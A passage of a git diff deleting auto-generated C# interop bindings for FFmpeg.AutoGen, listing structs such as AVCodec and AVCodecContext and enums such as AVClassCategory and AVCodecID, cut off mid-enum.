a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVBufferRef.cs +++ /dev/null @@ -1,10 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct AVBufferRef -{ - public unsafe AVBuffer* buffer; - - public unsafe sbyte* data; - - public int size; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVBufferSinkParams.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVBufferSinkParams.cs deleted file mode 100644 index 25b6837..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVBufferSinkParams.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct AVBufferSinkParams -{ - public unsafe AVPixelFormat* pixel_fmts; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVCPBProperties.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVCPBProperties.cs deleted file mode 100644 index dbb0c1d..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVCPBProperties.cs +++ /dev/null @@ -1,14 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct AVCPBProperties -{ - public int max_bitrate; - - public int min_bitrate; - - public int avg_bitrate; - - public int buffer_size; - - public ulong vbv_delay; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVChapter.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVChapter.cs deleted file mode 100644 index 387c329..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVChapter.cs +++ /dev/null @@ -1,14 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct AVChapter -{ - public int id; - - public AVRational time_base; - - public long start; - - public long end; - - public unsafe AVDictionary* metadata; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVChromaLocation.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVChromaLocation.cs deleted file mode 100644 index 75109fb..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVChromaLocation.cs +++ /dev/null @@ -1,13 +0,0 @@ -namespace FFmpeg.AutoGen; - -public enum AVChromaLocation -{ - AVCHROMA_LOC_UNSPECIFIED, - AVCHROMA_LOC_LEFT, - AVCHROMA_LOC_CENTER, - AVCHROMA_LOC_TOPLEFT, - AVCHROMA_LOC_TOP, - AVCHROMA_LOC_BOTTOMLEFT, - AVCHROMA_LOC_BOTTOM, - AVCHROMA_LOC_NB -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVClass.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVClass.cs deleted file mode 100644 index 5c38f9c..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVClass.cs +++ /dev/null @@ -1,28 +0,0 @@ -using System; - -namespace FFmpeg.AutoGen; - -public struct AVClass -{ - public unsafe sbyte* class_name; - - public IntPtr item_name; - - public unsafe AVOption* option; - - public int version; - - public int log_level_offset_offset; - - public int parent_log_context_offset; - - public IntPtr child_next; - - public IntPtr child_class_next; - - public AVClassCategory category; - - public IntPtr get_category; - - public IntPtr query_ranges; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVClassCategory.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVClassCategory.cs deleted file mode 100644 index 51e433e..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVClassCategory.cs +++ /dev/null @@ -1,23 +0,0 @@ -namespace FFmpeg.AutoGen; - -public enum AVClassCategory -{ - AV_CLASS_CATEGORY_NA = 0, - AV_CLASS_CATEGORY_INPUT = 1, - AV_CLASS_CATEGORY_OUTPUT = 2, - AV_CLASS_CATEGORY_MUXER = 3, - AV_CLASS_CATEGORY_DEMUXER = 4, - AV_CLASS_CATEGORY_ENCODER = 5, - AV_CLASS_CATEGORY_DECODER = 6, - AV_CLASS_CATEGORY_FILTER = 7, - AV_CLASS_CATEGORY_BITSTREAM_FILTER = 8, - AV_CLASS_CATEGORY_SWSCALER = 9, - AV_CLASS_CATEGORY_SWRESAMPLER = 10, - AV_CLASS_CATEGORY_DEVICE_VIDEO_OUTPUT = 40, - AV_CLASS_CATEGORY_DEVICE_VIDEO_INPUT = 41, - AV_CLASS_CATEGORY_DEVICE_AUDIO_OUTPUT = 42, - AV_CLASS_CATEGORY_DEVICE_AUDIO_INPUT = 43, - AV_CLASS_CATEGORY_DEVICE_OUTPUT = 44, - AV_CLASS_CATEGORY_DEVICE_INPUT = 45, - AV_CLASS_CATEGORY_NB = 46 -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVCodec.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVCodec.cs deleted file mode 100644 index a73bb85..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVCodec.cs +++ /dev/null @@ -1,58 +0,0 @@ -using System; - -namespace FFmpeg.AutoGen; - -public struct AVCodec -{ - public unsafe sbyte* name; - - public unsafe sbyte* long_name; - - public AVMediaType type; - - public AVCodecID id; - - public int capabilities; - - public unsafe AVRational* supported_framerates; - - public unsafe AVPixelFormat* pix_fmts; - - public unsafe int* supported_samplerates; - - public unsafe AVSampleFormat* sample_fmts; - - public unsafe ulong* channel_layouts; - - public sbyte max_lowres; - - public unsafe AVClass* priv_class; - - public unsafe AVProfile* profiles; - - public int priv_data_size; - - public unsafe AVCodec* next; - - public IntPtr init_thread_copy; - - public IntPtr update_thread_context; - - public unsafe AVCodecDefault* defaults; - - public IntPtr init_static_data; - - public IntPtr init; - - public IntPtr encode_sub; - - public IntPtr encode2; - - public IntPtr decode; - - public IntPtr close; - - public IntPtr flush; - - public int caps_internal; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVCodecContext.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVCodecContext.cs deleted file mode 100644 index 700268a..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVCodecContext.cs +++ /dev/null @@ -1,412 +0,0 @@ -using System; - -namespace FFmpeg.AutoGen; - -public struct AVCodecContext -{ - public unsafe AVClass* av_class; - - public int log_level_offset; - - public AVMediaType codec_type; - - public unsafe AVCodec* codec; - - public unsafe fixed sbyte codec_name[32]; - - public AVCodecID codec_id; - - public uint codec_tag; - - public uint stream_codec_tag; - - public unsafe void* priv_data; - - public unsafe AVCodecInternal* @internal; - - public unsafe void* opaque; - - public long bit_rate; - - public int bit_rate_tolerance; - - public int global_quality; - - public int compression_level; - - public int flags; - - public int flags2; - - public unsafe sbyte* extradata; - - public int extradata_size; - - public AVRational time_base; - - public int ticks_per_frame; - - public int delay; - - public int width; - - public int height; - - public int coded_width; - - public int coded_height; - - public int gop_size; - - public AVPixelFormat pix_fmt; - - public int me_method; - - public IntPtr draw_horiz_band; - - public IntPtr get_format; - - public int max_b_frames; - - public float b_quant_factor; - - public int rc_strategy; - - public int b_frame_strategy; - - public float b_quant_offset; - - public int has_b_frames; - - public int mpeg_quant; - - public float i_quant_factor; - - public float i_quant_offset; - - public float lumi_masking; - - public float temporal_cplx_masking; - - public float spatial_cplx_masking; - - public float p_masking; - - public float dark_masking; - - public int slice_count; - - public int prediction_method; - - public unsafe int* slice_offset; - - public AVRational sample_aspect_ratio; - - public int me_cmp; - - public int me_sub_cmp; - - public int mb_cmp; - - public int ildct_cmp; - - public int dia_size; - - public int last_predictor_count; - - public int pre_me; - - public int me_pre_cmp; - - public int pre_dia_size; - - public int me_subpel_quality; - - public int dtg_active_format; - - public int me_range; - - public int intra_quant_bias; - - public int inter_quant_bias; - - public int slice_flags; - - public int xvmc_acceleration; - - public int mb_decision; - - public unsafe ushort* intra_matrix; - - public unsafe ushort* inter_matrix; - - public int scenechange_threshold; - - public int noise_reduction; - - public int me_threshold; - - public int mb_threshold; - - public int intra_dc_precision; - - public int skip_top; - - public int skip_bottom; - - public float border_masking; - - public int mb_lmin; - - public int mb_lmax; - - public int me_penalty_compensation; - - public int bidir_refine; - - public int brd_scale; - - public int keyint_min; - - public int refs; - - public int chromaoffset; - - public int scenechange_factor; - - public int mv0_threshold; - - public int b_sensitivity; - - public AVColorPrimaries color_primaries; - - public AVColorTransferCharacteristic color_trc; - - public AVColorSpace colorspace; - - public AVColorRange color_range; - - public AVChromaLocation chroma_sample_location; - - public int slices; - - public AVFieldOrder field_order; - - public int sample_rate; - - public int channels; - - public AVSampleFormat sample_fmt; - - public int frame_size; - - public int frame_number; - - public int block_align; - - public int cutoff; - - public ulong channel_layout; - - public ulong request_channel_layout; - - public AVAudioServiceType audio_service_type; - - public AVSampleFormat request_sample_fmt; - - public IntPtr get_buffer2; - - public int refcounted_frames; - - public float qcompress; - - public float qblur; - - public int qmin; - - public int qmax; - - public int max_qdiff; - - public float rc_qsquish; - - public float rc_qmod_amp; - - public int rc_qmod_freq; - - public int rc_buffer_size; - - public int rc_override_count; - - public unsafe RcOverride* rc_override; - - public unsafe sbyte* rc_eq; - - public long rc_max_rate; - - public long rc_min_rate; - - public float rc_buffer_aggressivity; - - public float rc_initial_cplx; - - public float rc_max_available_vbv_use; - - public float rc_min_vbv_overflow_use; - - public int rc_initial_buffer_occupancy; - - public int coder_type; - - public int context_model; - - public int lmin; - - public int lmax; - - public int frame_skip_threshold; - - public int frame_skip_factor; - - public int frame_skip_exp; - - public int frame_skip_cmp; - - public int trellis; - - public int min_prediction_order; - - public int max_prediction_order; - - public long timecode_frame_start; - - public IntPtr rtp_callback; - - public int rtp_payload_size; - - public int mv_bits; - - public int header_bits; - - public int i_tex_bits; - - public int p_tex_bits; - - public int i_count; - - public int p_count; - - public int skip_count; - - public int misc_bits; - - public int frame_bits; - - public unsafe sbyte* stats_out; - - public unsafe sbyte* stats_in; - - public int workaround_bugs; - - public int strict_std_compliance; - - public int error_concealment; - - public int debug; - - public int debug_mv; - - public int err_recognition; - - public long reordered_opaque; - - public unsafe AVHWAccel* hwaccel; - - public unsafe void* hwaccel_context; - - public unsafe fixed ulong error[8]; - - public int dct_algo; - - public int idct_algo; - - public int bits_per_coded_sample; - - public int bits_per_raw_sample; - - public int lowres; - - public unsafe AVFrame* coded_frame; - - public int thread_count; - - public int thread_type; - - public int active_thread_type; - - public int thread_safe_callbacks; - - public IntPtr execute; - - public IntPtr execute2; - - public int nsse_weight; - - public int profile; - - public int level; - - public AVDiscard skip_loop_filter; - - public AVDiscard skip_idct; - - public AVDiscard skip_frame; - - public unsafe sbyte* subtitle_header; - - public int subtitle_header_size; - - public int error_rate; - - public ulong vbv_delay; - - public int side_data_only_packets; - - public int initial_padding; - - public AVRational framerate; - - public AVPixelFormat sw_pix_fmt; - - public AVRational pkt_timebase; - - public unsafe AVCodecDescriptor* codec_descriptor; - - public long pts_correction_num_faulty_pts; - - public long pts_correction_num_faulty_dts; - - public long pts_correction_last_pts; - - public long pts_correction_last_dts; - - public unsafe sbyte* sub_charenc; - - public int sub_charenc_mode; - - public int skip_alpha; - - public int seek_preroll; - - public unsafe ushort* chroma_intra_matrix; - - public unsafe sbyte* dump_separator; - - public unsafe sbyte* codec_whitelist; - - public uint properties; - - public unsafe AVPacketSideData* coded_side_data; - - public int nb_coded_side_data; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVCodecDefault.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVCodecDefault.cs deleted file mode 100644 index 5733ebc..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVCodecDefault.cs +++ /dev/null @@ -1,8 +0,0 @@ -using System.Runtime.InteropServices; - -namespace FFmpeg.AutoGen; - -[StructLayout(LayoutKind.Sequential, Size = 1)] -public struct AVCodecDefault -{ -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVCodecDescriptor.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVCodecDescriptor.cs deleted file mode 100644 index 2912c98..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVCodecDescriptor.cs +++ /dev/null @@ -1,18 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct AVCodecDescriptor -{ - public AVCodecID id; - - public AVMediaType type; - - public unsafe sbyte* name; - - public unsafe sbyte* long_name; - - public int props; - - public unsafe sbyte** mime_types; - - public unsafe AVProfile* profiles; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVCodecID.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVCodecID.cs deleted file mode 100644 index a8860b5..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVCodecID.cs +++ /dev/null @@ -1,417 +0,0 @@ -namespace FFmpeg.AutoGen; - -public enum AVCodecID -{ - AV_CODEC_ID_NONE = 0, - AV_CODEC_ID_MPEG1VIDEO = 1, - AV_CODEC_ID_MPEG2VIDEO = 2, - AV_CODEC_ID_MPEG2VIDEO_XVMC = 3, - AV_CODEC_ID_H261 = 4, - AV_CODEC_ID_H263 = 5, - AV_CODEC_ID_RV10 = 6, - AV_CODEC_ID_RV20 = 7, - AV_CODEC_ID_MJPEG = 8, - AV_CODEC_ID_MJPEGB = 9, - AV_CODEC_ID_LJPEG = 10, - AV_CODEC_ID_SP5X = 11, - AV_CODEC_ID_JPEGLS = 12, - AV_CODEC_ID_MPEG4 = 13, - AV_CODEC_ID_RAWVIDEO = 14, - AV_CODEC_ID_MSMPEG4V1 = 15, - AV_CODEC_ID_MSMPEG4V2 = 16, - AV_CODEC_ID_MSMPEG4V3 = 17, - AV_CODEC_ID_WMV1 = 18, - AV_CODEC_ID_WMV2 = 19, - AV_CODEC_ID_H263P = 20, - AV_CODEC_ID_H263I = 21, - AV_CODEC_ID_FLV1 = 22, - AV_CODEC_ID_SVQ1 = 23, - AV_CODEC_ID_SVQ3 = 24, - AV_CODEC_ID_DVVIDEO = 25, - AV_CODEC_ID_HUFFYUV = 26, - AV_CODEC_ID_CYUV = 27, - AV_CODEC_ID_H264 = 28, - AV_CODEC_ID_INDEO3 = 29, - AV_CODEC_ID_VP3 = 30, - AV_CODEC_ID_THEORA = 31, - AV_CODEC_ID_ASV1 = 32, - AV_CODEC_ID_ASV2 = 33, - AV_CODEC_ID_FFV1 = 34, - AV_CODEC_ID_4XM = 35, - AV_CODEC_ID_VCR1 = 36, - AV_CODEC_ID_CLJR = 37, - AV_CODEC_ID_MDEC = 38, - AV_CODEC_ID_ROQ = 39, - AV_CODEC_ID_INTERPLAY_VIDEO = 40, - AV_CODEC_ID_XAN_WC3 = 41, - AV_CODEC_ID_XAN_WC4 = 42, - AV_CODEC_ID_RPZA = 43, - AV_CODEC_ID_CINEPAK = 44, - AV_CODEC_ID_WS_VQA = 45, - AV_CODEC_ID_MSRLE = 46, - AV_CODEC_ID_MSVIDEO1 = 47, - AV_CODEC_ID_IDCIN = 48, - AV_CODEC_ID_8BPS = 49, - AV_CODEC_ID_SMC = 50, - AV_CODEC_ID_FLIC = 51, - AV_CODEC_ID_TRUEMOTION1 = 52, - AV_CODEC_ID_VMDVIDEO = 53, - AV_CODEC_ID_MSZH = 54, - AV_CODEC_ID_ZLIB = 55, - AV_CODEC_ID_QTRLE = 56, - AV_CODEC_ID_TSCC = 57, - AV_CODEC_ID_ULTI = 58, - AV_CODEC_ID_QDRAW = 59, - AV_CODEC_ID_VIXL = 60, - AV_CODEC_ID_QPEG = 61, - AV_CODEC_ID_PNG = 62, - AV_CODEC_ID_PPM = 63, - AV_CODEC_ID_PBM = 64, - AV_CODEC_ID_PGM = 65, - AV_CODEC_ID_PGMYUV = 66, - AV_CODEC_ID_PAM = 67, - AV_CODEC_ID_FFVHUFF = 68, - AV_CODEC_ID_RV30 = 69, - AV_CODEC_ID_RV40 = 70, - AV_CODEC_ID_VC1 = 71, - AV_CODEC_ID_WMV3 = 72, - AV_CODEC_ID_LOCO = 73, - AV_CODEC_ID_WNV1 = 74, - AV_CODEC_ID_AASC = 75, - AV_CODEC_ID_INDEO2 = 76, - AV_CODEC_ID_FRAPS = 77, - AV_CODEC_ID_TRUEMOTION2 = 78, - AV_CODEC_ID_BMP = 79, - AV_CODEC_ID_CSCD = 80, - AV_CODEC_ID_MMVIDEO = 81, - AV_CODEC_ID_ZMBV = 82, - AV_CODEC_ID_AVS = 83, - AV_CODEC_ID_SMACKVIDEO = 84, - AV_CODEC_ID_NUV = 85, - AV_CODEC_ID_KMVC = 86, - AV_CODEC_ID_FLASHSV = 87, - AV_CODEC_ID_CAVS = 88, - AV_CODEC_ID_JPEG2000 = 89, - AV_CODEC_ID_VMNC = 90, - AV_CODEC_ID_VP5 = 91, - AV_CODEC_ID_VP6 = 92, - AV_CODEC_ID_VP6F = 93, - AV_CODEC_ID_TARGA = 94, - AV_CODEC_ID_DSICINVIDEO = 95, - AV_CODEC_ID_TIERTEXSEQVIDEO = 96, - AV_CODEC_ID_TIFF = 97, - AV_CODEC_ID_GIF = 98, - AV_CODEC_ID_DXA = 99, - AV_CODEC_ID_DNXHD = 100, - AV_CODEC_ID_THP = 101, - AV_CODEC_ID_SGI = 102, - AV_CODEC_ID_C93 = 103, - AV_CODEC_ID_BETHSOFTVID = 104, - AV_CODEC_ID_PTX = 105, - AV_CODEC_ID_TXD = 106, - AV_CODEC_ID_VP6A = 107, - AV_CODEC_ID_AMV = 108, - AV_CODEC_ID_VB = 109, - AV_CODEC_ID_PCX = 110, - AV_CODEC_ID_SUNRAST = 111, - AV_CODEC_ID_INDEO4 = 112, - AV_CODEC_ID_INDEO5 = 113, - AV_CODEC_ID_MIMIC = 114, - AV_CODEC_ID_RL2 = 115, - AV_CODEC_ID_ESCAPE124 = 116, - AV_CODEC_ID_DIRAC = 117, - AV_CODEC_ID_BFI = 118, - AV_CODEC_ID_CMV = 119, - AV_CODEC_ID_MOTIONPIXELS = 120, - AV_CODEC_ID_TGV = 121, - AV_CODEC_ID_TGQ = 122, - AV_CODEC_ID_TQI = 123, - AV_CODEC_ID_AURA = 124, - AV_CODEC_ID_AURA2 = 125, - AV_CODEC_ID_V210X = 126, - AV_CODEC_ID_TMV = 127, - AV_CODEC_ID_V210 = 128, - AV_CODEC_ID_DPX = 129, - AV_CODEC_ID_MAD = 130, - AV_CODEC_ID_FRWU = 131, - AV_CODEC_ID_FLASHSV2 = 132, - AV_CODEC_ID_CDGRAPHICS = 133, - AV_CODEC_ID_R210 = 134, - AV_CODEC_ID_ANM = 135, - AV_CODEC_ID_BINKVIDEO = 136, - AV_CODEC_ID_IFF_ILBM = 137, - AV_CODEC_ID_KGV1 = 138, - AV_CODEC_ID_YOP = 139, - AV_CODEC_ID_VP8 = 140, - AV_CODEC_ID_PICTOR = 141, - AV_CODEC_ID_ANSI = 142, - AV_CODEC_ID_A64_MULTI = 143, - AV_CODEC_ID_A64_MULTI5 = 144, - AV_CODEC_ID_R10K = 145, - AV_CODEC_ID_MXPEG = 146, - AV_CODEC_ID_LAGARITH = 147, - AV_CODEC_ID_PRORES = 148, - AV_CODEC_ID_JV = 149, - AV_CODEC_ID_DFA = 150, - AV_CODEC_ID_WMV3IMAGE = 151, - AV_CODEC_ID_VC1IMAGE = 152, - AV_CODEC_ID_UTVIDEO = 153, - AV_CODEC_ID_BMV_VIDEO = 154, - AV_CODEC_ID_VBLE = 155, - AV_CODEC_ID_DXTORY = 156, - AV_CODEC_ID_V410 = 157, - AV_CODEC_ID_XWD = 158, - AV_CODEC_ID_CDXL = 159, - AV_CODEC_ID_XBM = 160, - AV_CODEC_ID_ZEROCODEC = 161, - AV_CODEC_ID_MSS1 = 162, - AV_CODEC_ID_MSA1 = 163, - AV_CODEC_ID_TSCC2 = 164, - AV_CODEC_ID_MTS2 = 165, - AV_CODEC_ID_CLLC = 166, - AV_CODEC_ID_MSS2 = 167, - AV_CODEC_ID_VP9 = 168, - AV_CODEC_ID_AIC = 169, - AV_CODEC_ID_ESCAPE130 = 170, - AV_CODEC_ID_G2M = 171, - AV_CODEC_ID_WEBP = 172, - AV_CODEC_ID_HNM4_VIDEO = 173, - AV_CODEC_ID_HEVC = 174, - AV_CODEC_ID_FIC = 175, - AV_CODEC_ID_ALIAS_PIX = 176, - AV_CODEC_ID_BRENDER_PIX = 177, - AV_CODEC_ID_PAF_VIDEO = 178, - AV_CODEC_ID_EXR = 179, - AV_CODEC_ID_VP7 = 180, - AV_CODEC_ID_SANM = 181, - AV_CODEC_ID_SGIRLE = 182, - AV_CODEC_ID_MVC1 = 183, - AV_CODEC_ID_MVC2 = 184, - AV_CODEC_ID_HQX = 185, - AV_CODEC_ID_TDSC = 186, - AV_CODEC_ID_HQ_HQA = 187, - AV_CODEC_ID_HAP = 188, - AV_CODEC_ID_DDS = 189, - AV_CODEC_ID_DXV = 190, - AV_CODEC_ID_SCREENPRESSO = 191, - AV_CODEC_ID_RSCC = 192, - AV_CODEC_ID_Y41P = 32768, - AV_CODEC_ID_AVRP = 32769, - AV_CODEC_ID_012V = 32770, - AV_CODEC_ID_AVUI = 32771, - AV_CODEC_ID_AYUV = 32772, - AV_CODEC_ID_TARGA_Y216 = 32773, - AV_CODEC_ID_V308 = 32774, - AV_CODEC_ID_V408 = 32775, - AV_CODEC_ID_YUV4 = 32776, - AV_CODEC_ID_AVRN = 32777, - AV_CODEC_ID_CPIA = 32778, - AV_CODEC_ID_XFACE = 32779, - AV_CODEC_ID_SNOW = 32780, - AV_CODEC_ID_SMVJPEG = 32781, - AV_CODEC_ID_APNG = 32782, - AV_CODEC_ID_DAALA = 32783, - AV_CODEC_ID_CFHD = 32784, - AV_CODEC_ID_FIRST_AUDIO = 65536, - AV_CODEC_ID_PCM_S16LE = 65536, - AV_CODEC_ID_PCM_S16BE = 65537, - AV_CODEC_ID_PCM_U16LE = 65538, - AV_CODEC_ID_PCM_U16BE = 65539, - AV_CODEC_ID_PCM_S8 = 65540, - AV_CODEC_ID_PCM_U8 = 65541, - AV_CODEC_ID_PCM_MULAW = 65542, - AV_CODEC_ID_PCM_ALAW = 65543, - AV_CODEC_ID_PCM_S32LE = 65544, - AV_CODEC_ID_PCM_S32BE = 65545, - AV_CODEC_ID_PCM_U32LE = 65546, - AV_CODEC_ID_PCM_U32BE = 65547, - AV_CODEC_ID_PCM_S24LE = 65548, - AV_CODEC_ID_PCM_S24BE = 65549, - AV_CODEC_ID_PCM_U24LE = 65550, - AV_CODEC_ID_PCM_U24BE = 65551, - AV_CODEC_ID_PCM_S24DAUD = 65552, - AV_CODEC_ID_PCM_ZORK = 65553, - AV_CODEC_ID_PCM_S16LE_PLANAR = 65554, - AV_CODEC_ID_PCM_DVD = 65555, - AV_CODEC_ID_PCM_F32BE = 65556, - AV_CODEC_ID_PCM_F32LE = 65557, - AV_CODEC_ID_PCM_F64BE = 65558, - AV_CODEC_ID_PCM_F64LE = 65559, - AV_CODEC_ID_PCM_BLURAY = 65560, - AV_CODEC_ID_PCM_LXF = 65561, - AV_CODEC_ID_S302M = 65562, - AV_CODEC_ID_PCM_S8_PLANAR = 65563, - AV_CODEC_ID_PCM_S24LE_PLANAR = 65564, - AV_CODEC_ID_PCM_S32LE_PLANAR = 65565, - AV_CODEC_ID_PCM_S16BE_PLANAR = 65566, - AV_CODEC_ID_ADPCM_IMA_QT = 69632, - AV_CODEC_ID_ADPCM_IMA_WAV = 69633, - AV_CODEC_ID_ADPCM_IMA_DK3 = 69634, - AV_CODEC_ID_ADPCM_IMA_DK4 = 69635, - AV_CODEC_ID_ADPCM_IMA_WS = 69636, - AV_CODEC_ID_ADPCM_IMA_SMJPEG = 69637, - AV_CODEC_ID_ADPCM_MS = 69638, - AV_CODEC_ID_ADPCM_4XM = 69639, - AV_CODEC_ID_ADPCM_XA = 69640, - AV_CODEC_ID_ADPCM_ADX = 69641, - AV_CODEC_ID_ADPCM_EA = 69642, - AV_CODEC_ID_ADPCM_G726 = 69643, - AV_CODEC_ID_ADPCM_CT = 69644, - AV_CODEC_ID_ADPCM_SWF = 69645, - AV_CODEC_ID_ADPCM_YAMAHA = 69646, - AV_CODEC_ID_ADPCM_SBPRO_4 = 69647, - AV_CODEC_ID_ADPCM_SBPRO_3 = 69648, - AV_CODEC_ID_ADPCM_SBPRO_2 = 69649, - AV_CODEC_ID_ADPCM_THP = 69650, - AV_CODEC_ID_ADPCM_IMA_AMV = 69651, - AV_CODEC_ID_ADPCM_EA_R1 = 69652, - AV_CODEC_ID_ADPCM_EA_R3 = 69653, - AV_CODEC_ID_ADPCM_EA_R2 = 69654, - AV_CODEC_ID_ADPCM_IMA_EA_SEAD = 69655, - AV_CODEC_ID_ADPCM_IMA_EA_EACS = 69656, - AV_CODEC_ID_ADPCM_EA_XAS = 69657, - AV_CODEC_ID_ADPCM_EA_MAXIS_XA = 69658, - AV_CODEC_ID_ADPCM_IMA_ISS = 69659, - AV_CODEC_ID_ADPCM_G722 = 69660, - AV_CODEC_ID_ADPCM_IMA_APC = 69661, - AV_CODEC_ID_ADPCM_VIMA = 69662, - AV_CODEC_ID_VIMA = 69662, - AV_CODEC_ID_ADPCM_AFC = 71680, - AV_CODEC_ID_ADPCM_IMA_OKI = 71681, - AV_CODEC_ID_ADPCM_DTK = 71682, - AV_CODEC_ID_ADPCM_IMA_RAD = 71683, - AV_CODEC_ID_ADPCM_G726LE = 71684, - AV_CODEC_ID_ADPCM_THP_LE = 71685, - AV_CODEC_ID_ADPCM_PSX = 71686, - AV_CODEC_ID_ADPCM_AICA = 71687, - AV_CODEC_ID_AMR_NB = 73728, - AV_CODEC_ID_AMR_WB = 73729, - AV_CODEC_ID_RA_144 = 77824, - AV_CODEC_ID_RA_288 = 77825, - AV_CODEC_ID_ROQ_DPCM = 81920, - AV_CODEC_ID_INTERPLAY_DPCM = 81921, - AV_CODEC_ID_XAN_DPCM = 81922, - AV_CODEC_ID_SOL_DPCM = 81923, - AV_CODEC_ID_SDX2_DPCM = 83968, - AV_CODEC_ID_MP2 = 86016, - AV_CODEC_ID_MP3 = 86017, - AV_CODEC_ID_AAC = 86018, - AV_CODEC_ID_AC3 = 86019, - AV_CODEC_ID_DTS = 86020, - AV_CODEC_ID_VORBIS = 86021, - AV_CODEC_ID_DVAUDIO = 86022, - AV_CODEC_ID_WMAV1 = 86023, - AV_CODEC_ID_WMAV2 = 86024, - AV_CODEC_ID_MACE3 = 86025, - AV_CODEC_ID_MACE6 = 86026, - AV_CODEC_ID_VMDAUDIO = 86027, - AV_CODEC_ID_FLAC = 86028, - AV_CODEC_ID_MP3ADU = 86029, - AV_CODEC_ID_MP3ON4 = 86030, - AV_CODEC_ID_SHORTEN = 86031, - AV_CODEC_ID_ALAC = 86032, - AV_CODEC_ID_WESTWOOD_SND1 = 86033, - AV_CODEC_ID_GSM = 86034, - AV_CODEC_ID_QDM2 = 86035, - AV_CODEC_ID_COOK = 86036, - AV_CODEC_ID_TRUESPEECH = 86037, - AV_CODEC_ID_TTA = 86038, - AV_CODEC_ID_SMACKAUDIO = 86039, - AV_CODEC_ID_QCELP = 86040, - AV_CODEC_ID_WAVPACK = 86041, - AV_CODEC_ID_DSICINAUDIO = 86042, - AV_CODEC_ID_IMC = 86043, - AV_CODEC_ID_MUSEPACK7 = 86044, - AV_CODEC_ID_MLP = 86045, - AV_CODEC_ID_GSM_MS = 86046, - AV_CODEC_ID_ATRAC3 = 86047, - AV_CODEC_ID_VOXWARE = 86048, - AV_CODEC_ID_APE = 86049, - AV_CODEC_ID_NELLYMOSER = 86050, - AV_CODEC_ID_MUSEPACK8 = 86051, - AV_CODEC_ID_SPEEX = 86052, - AV_CODEC_ID_WMAVOICE = 86053, - AV_CODEC_ID_WMAPRO = 86054, - AV_CODEC_ID_WMALOSSLESS = 86055, - AV_CODEC_ID_ATRAC3P = 86056, - AV_CODEC_ID_EAC3 = 86057, - AV_CODEC_ID_SIPR = 86058, - AV_CODEC_ID_MP1 = 86059, - AV_CODEC_ID_TWINVQ = 86060, - AV_CODEC_ID_TRUEHD = 86061, - AV_CODEC_ID_MP4ALS = 86062, - AV_CODEC_ID_ATRAC1 = 86063, - AV_CODEC_ID_BINKAUDIO_RDFT = 86064, - AV_CODEC_ID_BINKAUDIO_DCT = 86065, - AV_CODEC_ID_AAC_LATM = 86066, - AV_CODEC_ID_QDMC = 86067, - AV_CODEC_ID_CELT = 86068, - AV_CODEC_ID_G723_1 = 86069, - AV_CODEC_ID_G729 = 86070, - AV_CODEC_ID_8SVX_EXP = 86071, - AV_CODEC_ID_8SVX_FIB = 86072, - AV_CODEC_ID_BMV_AUDIO = 86073, - AV_CODEC_ID_RALF = 86074, - AV_CODEC_ID_IAC = 86075, - AV_CODEC_ID_ILBC = 86076, - AV_CODEC_ID_OPUS = 86077, - AV_CODEC_ID_COMFORT_NOISE = 86078, - AV_CODEC_ID_TAK = 86079, - AV_CODEC_ID_METASOUND = 86080, - AV_CODEC_ID_PAF_AUDIO = 86081, - AV_CODEC_ID_ON2AVC = 86082, - AV_CODEC_ID_DSS_SP = 86083, - AV_CODEC_ID_FFWAVESYNTH = 88064, - AV_CODEC_ID_SONIC = 88065, - AV_CODEC_ID_SONIC_LS = 88066, - AV_CODEC_ID_EVRC = 88067, - AV_CODEC_ID_SMV = 88068, - AV_CODEC_ID_DSD_LSBF = 88069, - AV_CODEC_ID_DSD_MSBF = 88070, - AV_CODEC_ID_DSD_LSBF_PLANAR = 88071, - AV_CODEC_ID_DSD_MSBF_PLANAR = 88072, - AV_CODEC_ID_4GV = 